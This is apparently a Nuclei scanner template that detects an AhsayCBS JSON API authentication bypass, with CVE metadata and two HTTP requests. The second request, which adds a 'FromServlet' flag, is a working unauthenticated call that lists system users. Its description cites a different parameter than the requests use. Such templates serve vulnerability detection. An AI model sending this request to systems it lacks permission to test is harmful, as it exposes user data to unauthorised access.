AhsayCBS - JSON API Authentication Bypass

id: CVE-2026-105133

info:
  name: AhsayCBS - JSON API Authentication Bypass
  author: alex
  severity: medium
  description: |
    Ahsay AhsayCBS <= 10.3.2 contains an authentication bypass caused by manipulation of the "random" argument in checkSysPwd function of API component, letting remote attackers bypass authentication, exploit requires crafted argument manipulation.
  impact: |
    Remote attackers can bypass authentication, potentially gaining unauthorized access to the system.
  remediation: |
    Upgrade to version 10.3.4.
  reference:
    - https://www.ahsay.com/en/company/announcements
    - https://horizon3.ai/attack-research/attack-blogs/ahsaycbs-cve-2026-105133-cve-2026-105134-technical-analysis/
    - https://github.com/horizon3ai/AhsayCBS-Auth-Bypass-RCE
    - https://nvd.nist.gov/vuln/detail/CVE-2026-105133
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cve-id: CVE-2026-105133
    epss-score: 0.05794
    epss-percentile: 0.93106
    cwe-id: CWE-287
  metadata:
    verified: false
    max-request: 2
    vendor: ahsay
    product: ahsaycbs
  tags: cve,cve2026,ahsay,ahsaycbs,auth-bypass,vuln,kev,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /obs/api/json/ListSystemUsers.do HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "application/json")'
          - 'contains_all(body, "\"Status\":\"Error\"", "\"Parameter SysUser is null\"")'
        condition: and

  - raw:
      - |
        POST /obs/api/json/ListSystemUsers.do HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"FromServlet":"Y"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "application/json")'
          - 'contains_all(body, "\"Status\":\"OK\"", "\"Data\"")'
        condition: and
# digest: 4b0a00483046022100a3963865ed44ef1d5ef890958969ef6f177d899e6c875a6afed6fbde77c3ef400221009d36f342e9bc640f81ee3062022fefbc67f55f4fc11f610dd81afdffad71211d:922c64590222798bb761d5b6d8e72950